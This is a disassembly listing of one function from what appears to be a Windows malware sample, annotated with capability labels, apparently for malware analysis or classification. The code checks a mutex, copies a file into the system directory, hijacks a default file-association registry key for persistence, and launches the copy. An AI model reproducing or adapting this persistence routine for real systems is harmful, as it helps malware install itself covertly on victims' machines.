Function at 0x409ddc
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x409d6c
call fcn.00404e54
xor eax, eax
push ebp
push 0x40a089
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x40b2b8]
call fcn.004042a4
push eax
push 0xffffffffffffffff
push 0
call fcn.00404f40
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0x409e30
push 0
call sub.kernel32.dll_ExitProcess_1
push 0xff
push 0x40c9a8
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, 0x40c998
mov edx, 0x40c9a8
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov eax, 0x40c998
mov edx, 0x40a0a0
call fcn.00403e6c
mov eax, 0x40a0b4
call fcn.00409c50
mov eax, 0x40caa8
mov edx, 0x40c9a8
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov eax, 0x40caa8
mov edx, 0x40a0c4
call fcn.004040b4
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004027ac
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.004093e0
mov eax, dword [ebp - 0x14]
mov edx, dword [0x40caa8]
call fcn.004041f0
je 0x40a050
mov eax, 0x40caa8
mov edx, 0x40c9a8
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov eax, 0x40caa8
mov edx, 0x40a0d8
call fcn.004040b4
push 0
mov eax, dword [0x40caa8]
call fcn.004042a4
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004027ac
mov eax, dword [ebp - 0x1c]
call fcn.004042a4
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x40caa8
mov edx, 0x40c9a8
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov eax, 0x40cab0
mov edx, 0x40c9a8
mov ecx, pe_nt_image_headers32
call fcn.00404080
push 0x40cab0
mov edx, dword [0x40cab0]
mov eax, 0x40a0ec
call fcn.0040433c
inc eax
push eax
mov eax, dword [0x40cab0]
call fcn.004040ac
mov ecx, eax
mov eax, dword [0x40cab0]
pop edx
call fcn.004042fc
mov edx, dword [0x40cab0]
mov eax, 0x40a0ec
call fcn.0040433c
test eax, eax
jne 0x409f28
mov eax, 0x40cab4
mov ecx, 0x40a0c4
mov edx, dword [0x40caa8]
call fcn.004040f8
mov eax, 0x40caa8
mov edx, 0x40a0f8
call fcn.004040b4
mov eax, dword [0x40cab4]
call fcn.00409a30
test al, al
jne 0x409fb9
push 0
mov eax, dword [0x40cab4]
call fcn.004042a4
push eax
mov eax, dword [0x40caa8]
call fcn.004042a4
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x40cab4]
call fcn.00409a64
push 0x40a110
push dword [0x40cab0]
push 0x40a128
mov eax, 0x40cab0
mov edx, 3
call fcn.0040416c
push 0x40caac
push 0x40a138
push 0x80000000
call sub.advapi32.dll_RegOpenKeyA
mov esi, 0x400
push esi
mov eax, 0x40cab0
call fcn.004042f4
push eax
push 2
push 0
push 0x40a154
mov eax, dword [0x40caac]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [0x40caac]
push eax
call sub.advapi32.dll_RegCloseKey_1
push ebx
call sub.kernel32.dll_ReleaseMutex
push 1
push 0
push 0
mov eax, dword [0x40cab4]
call fcn.004042a4
push eax
push 0x40a158
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_ExitProcess_1
push 0x40a160
push 0x40a16c
push 0x40a188
push 0x40a190
call sub.kernel32.dll_WritePrivateProfileStringA
call fcn.00409390
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a090
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403e3c
ret